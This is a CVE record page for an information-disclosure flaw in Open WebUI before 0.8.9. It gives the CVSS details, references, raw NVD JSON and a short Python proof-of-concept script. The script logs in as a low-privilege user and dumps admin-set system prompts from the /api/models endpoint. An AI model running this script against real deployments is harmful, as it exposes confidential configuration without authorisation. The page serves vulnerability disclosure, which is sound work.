CVE-2026-45351

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.9, when a regular user [non-admin] logs into the application, a http://IP:8080/api/models? web request is initiated by the application and in response, it reveals the system prompt of available models set by admin on models pages in workspace affecting the confidentiality of application. This vulnerability is fixed in 0.8.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Open WebUI System Prompt Disclosure
# Description: Retrieves system prompts via /api/models endpoint as a normal user.

target = "http://target-ip:8080"
login_url = f"{target}/api/auth/login"
models_url = f"{target}/api/models"

# User credentials
creds = {"username": "lowprivuser", "password": "password"}

# 1. Authenticate
session = requests.Session()
login_resp = session.post(login_url, json=creds)

if login_resp.status_code == 200:
    # 2. Request models list
    models_resp = session.get(models_url)
    
    if models_resp.status_code == 200:
        data = models_resp.json()
        # 3. Extract System Prompts
        for model in data.get('data', []):
            model_id = model.get('id')
            sys_prompt = model.get('system_prompt')
            if sys_prompt:
                print(f"[+] Model: {model_id}")
                print(f"[+] System Prompt: {sys_prompt}")
    else:
        print("Failed to fetch models")
else:
    print("Login failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45351
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45351
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45351/
[4] VulDB https://vuldb.com/cve/CVE-2026-45351
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-jh9g-8jqw-m2qx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45351", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:55.453", "lastModified": "2026-05-15T22:16:55.453", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.9, when a regular user [non-admin] logs into the application, a http://IP:8080/api/models? web request is initiated by the application and in response, it reveals the system prompt of available models set by admin on models pages in workspace affecting the confidentiality of application. This vulnerability is fixed in 0.8.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jh9g-8jqw-m2qx", "source": "[email protected]"}]}}